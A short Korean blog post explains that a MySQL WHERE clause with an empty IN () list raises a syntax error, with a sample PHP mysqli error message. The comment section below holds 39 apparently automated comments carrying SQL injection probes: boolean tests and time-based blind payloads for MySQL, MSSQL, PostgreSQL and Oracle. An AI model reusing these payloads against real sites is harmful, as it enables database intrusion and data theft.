[MySQL] WHERE 절의 IN 조건이 비어 있으면

  WHERE 절에서 아래와 같이 OR를 여러 번 쓰며 같은 변수를 다루는 조건문들을

... WHERE id = 1 OR id = 15 OR id = 52 OR id = 101 ...;
IN 연산자를 써서 간단하게 나타낼 수 있다.
... WHERE id IN (1, 15, 52, 101) ...;

  IN을 쓰는 방법은 OR를 쓰는 방법보다 간결하고 처리 속도도 빠르다. IN 조건에 아래처럼 SELECT 문이 들어가는 버금물음(서브쿼리)을 넣을 수도 있다.

... WHERE id IN (SELECT entry FROM itemlist WHERE entry < 100) ...;

  하지만 아래처럼 IN 조건 안이 빈 SQL 문장을 실행하면 오류가 일어난다.

... WHERE id IN ( ) ...;

  만약 MySQL을 이용하는 PHP 프로그램에서 IN 연산자의 조건을 채우지 않는 실수를 했다면, 아래와 비슷한 PHP 오류문이 나올 수 있다.

PHP Fatal error:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '...' at line 1 in /.../...php:259

2022/09/07 02:50 2022/09/07 02:50
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 2+357-357-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 3+357-357-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+357-357) --

  4. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+357-357) --

  5. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 2+693-693-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 3+693-693-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+693-693)

  8. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+693-693)

  9. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 2+314-314-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 3+314-314-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+314-314) --

  12. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+314-314) --

  13. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 2+958-958-1=0+0+0+1 or 'V7Iox2Px'='

  14. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 3+958-958-1=0+0+0+1 or 'V7Iox2Px'='

  15. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+958-958) or 'V7Iox2Px'='

  16. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+958-958) or 'V7Iox2Px'='

  17. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1" OR 2+959-959-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1" OR 3+959-959-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+959-959) --

  20. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+959-959) --

  21. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1bGUEDf8G'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1-1 OR 134=(SELECT 134 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1-1) OR 407=(SELECT 407 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1-1)) OR 857=(SELECT 857 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1gl6gvSuT' OR 391=(SELECT 391 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1hJyoSK4M') OR 828=(SELECT 828 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    16yyYVl3Z')) OR 981=(SELECT 981 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:04 고유주소 고치기 답하기

    @@1WPbK

  39. fnfOzvSR 2026/04/28 04:05 고유주소 고치기 답하기

    1